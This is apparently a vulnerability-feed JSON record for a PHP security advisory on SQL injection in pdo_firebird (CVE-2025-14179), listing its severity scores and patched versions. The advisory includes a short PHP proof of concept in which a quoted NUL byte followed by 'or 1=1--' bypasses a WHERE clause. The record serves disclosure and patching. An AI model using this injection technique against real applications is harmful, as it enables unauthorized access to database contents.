{"vuln_id":"GHSA-w476-322c-wpvm","aliases":["CVE-2025-14179"],"description":"SQL injection in pdo_firebird via NUL bytes in quoted strings","published_at":"2026-05-07T12:55:05Z","modified_at":"2026-05-07T12:55:06Z","first_seen_at":"2026-11-22T14:05:37.609030Z","severity":"high","severity_source":"ghsa","cvss_score":9.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":["CWE-89"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":null,"epss_percentile":null,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://github.com/advisories/GHSA-w476-322c-wpvm"},"matched_alias":null,"items":[{"id":12646,"source":{"id":"gh-php-src","name":"PHP releases (GitHub php/php-src tags)"},"title":"GHSA-w476-322c-wpvm / CVE-2025-14179: SQL injection in pdo_firebird via NUL bytes in quoted strings","summary":"SQL injection in pdo_firebird via NUL bytes in quoted strings\n\nImproper handling of NUL bytes during the preparation of Firebird SQL queries leads to sections of the of the query being dropped. NUL bytes can find their way into queries even under regular circumstances via `PDO::quote()`.\r\n\r\nhttps://github.com/php/php-src/blob/046ffa257581d6f1a709e9fbc4638793c2ac7e22/ext/pdo_firebird/firebird_driver.c#L437-L442\r\n\r\nA new query is constructed token-by-token. In the case of a `ttString` `'\\0'`, the string is copied via `strncat()` rather than `memcpy()`, stopping after the first `'` quote and ignoring both the `\\0` and terminating `'` quote. This will incorrectly embed the SQL tokens following the string into the string, allowing for trivial SQL injection if the next string is also attacker-controlled.\r\n\r\n```php\r\n$dbh->exec('CREATE TABLE users (name VARCHAR(255))');\r\n$dbh->exec(\"INSERT INTO users VALUES ('Foo')\");\r\n$dbh->exec(\"INSERT INTO users VALUES ('Bar')\");\r\n\r\n$param = $dbh->quote(\"\\0\");\r\n$param2 = $dbh->quote('or 1=1--');\r\n\r\n$stmt = $dbh->query(\"SELECT * FROM users WHERE name = {$param} AND name = {$param2}\");\r\n\r\n// Before preparation:\r\n// SELECT * FROM users WHERE name = '\\0' AND name = 'or 1=1--'\r\n\r\n// After preparation:\r\n// SELECT * FROM users WHERE name = ' AND name = 'or 1=1--'\r\n\r\necho json_encode($stmt->fetchAll(PDO::FETCH_ASSOC)) . \"\\n\";\r\n// [{\"NAME\":\"Foo\"},{\"NAME\":\"Bar\"}]\r\n```\r\n\r\nThis incorrect preparation applies to `SELECT`, `INSERT`, `UPDATE`, `DELETE`, `MERGE`, `WITH` and `EXECUTE` statements.\r\n\r\n## Credits\r\nAleksey Solovev, Nikita Sveshnikov (Positive Technologies)\n\nAffected packages: php:ext-pdo_firebird\nPatched: ext-pdo_firebird 8.2.31, ext-pdo_firebird 8.3.31, ext-pdo_firebird 8.4.21, ext-pdo_firebird 8.5.6","url":"https://github.com/php/php-src/security/advisories/GHSA-w476-322c-wpvm","published_at":"2026-05-07T12:55:05Z","updated_at":"2026-05-07T12:55:06Z","fetched_at":"2026-11-22T14:05:37.431185Z","severity":"critical","cvss_score":9.8,"epss":0.00439,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"php","product":"ext-pdo_firebird","vuln_id":"CVE-2025-14179","vuln_ids":["CVE-2025-14179","CVE-2026-12184","CVE-2026-6104","CVE-2026-6722","CVE-2026-6735","CVE-2026-7258","CVE-2026-7259","CVE-2026-7261","CVE-2026-7262","CVE-2026-7263","CVE-2026-7568","GHSA-W476-322C-WPVM"],"tags":["repo-advisory","php","CWE-89","security","repo:php/php-src","stack"],"cluster_id":11754,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12646","html":"https://vulnwatch.ve1ve2.com/item/12646"}}]}